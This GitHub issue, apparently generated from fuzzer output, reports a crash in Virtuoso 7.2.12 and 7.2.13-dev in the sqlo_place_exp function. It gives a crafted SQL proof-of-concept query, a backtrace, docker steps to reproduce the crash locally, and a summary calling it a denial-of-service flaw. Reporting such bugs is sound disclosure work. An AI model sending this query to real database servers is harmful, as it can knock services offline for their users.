Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_place_exp`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT x , log_enable ( ) x FROM ( SELECT ( 0 , x ) x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x ) x GROUP BY ( x , ( SELECT ( SELECT x ) x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x GROUP BY ( x ) ) );
```

backtrace:
```c
#0 0x6eb737 (sqlo_place_exp+0x747)
#1 0x6ea9c8 (sqlo_dt_nth_col+0x518)
#2 0x6ee365 (sqlo_place_col+0x615)
#3 0x6eb40d (sqlo_place_exp+0x41d)
#4 0x6ebef2 (sqlo_place_exp+0xf02)
#5 0x7905d3 (sqlo_fun_ref_epilogue+0x3c3)
#6 0x710abd (sqlo_layout_1+0xdad)
#7 0x7101f7 (sqlo_layout_1+0x4e7)
#8 0x6f10eb (sqlo_layout+0x5fb)
#9 0x714955 (sqlo_top_2+0x335)
#10 0x7142b5 (sqlo_top_1+0x135)
#11 0x716066 (sqlo_top_select+0x156)
#12 0x6bf21b (sql_stmt_comp+0x8bb)
#13 0x6c20b2 (sql_compile_1+0x1a62)
#14 0x7d5b40 (stmt_set_query+0x340)
#15 0x7d7a32 (sf_sql_execute+0x922)
#16 0x7d8dbe (sf_sql_execute_w+0x17e)
#17 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#18 0xe2a11c (future_wrapper+0x3fc)
#19 0xe31a1e (_thread_boot+0x11e)
#20 0x7fbb5213c609 (start_thread+0xd9)
#21 0x7fbb51f0c353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_place_exp`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_place_exp`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_place_exp`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT x , log_enable ( ) x FROM ( SELECT ( 0 , x ) x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x ) x GROUP BY ( x , ( SELECT ( SELECT x ) x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x GROUP BY ( x ) ) );
```

backtrace:
```c
#0 0x6eb737 (sqlo_place_exp+0x747)
#1 0x6ea9c8 (sqlo_dt_nth_col+0x518)
#2 0x6ee365 (sqlo_place_col+0x615)
#3 0x6eb40d (sqlo_place_exp+0x41d)
#4 0x6ebef2 (sqlo_place_exp+0xf02)
#5 0x7905d3 (sqlo_fun_ref_epilogue+0x3c3)
#6 0x710abd (sqlo_layout_1+0xdad)
#7 0x7101f7 (sqlo_layout_1+0x4e7)
#8 0x6f10eb (sqlo_layout+0x5fb)
#9 0x714955 (sqlo_top_2+0x335)
#10 0x7142b5 (sqlo_top_1+0x135)
#11 0x716066 (sqlo_top_select+0x156)
#12 0x6bf21b (sql_stmt_comp+0x8bb)
#13 0x6c20b2 (sql_compile_1+0x1a62)
#14 0x7d5b40 (stmt_set_query+0x340)
#15 0x7d7a32 (sf_sql_execute+0x922)
#16 0x7d8dbe (sf_sql_execute_w+0x17e)
#17 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#18 0xe2a11c (future_wrapper+0x3fc)
#19 0xe31a1e (_thread_boot+0x11e)
#20 0x7fbb5213c609 (start_thread+0xd9)
#21 0x7fbb51f0c353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A vulnerability in Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads allows attackers to cause a Denial of Service (DoS) by executing a specially crafted SQL query that leads to a segmentation fault in the `sqlo_place_exp` function. This can be exploited using a fuzzer or by running the provided proof of concept (PoC) SQL query, which triggers the crash.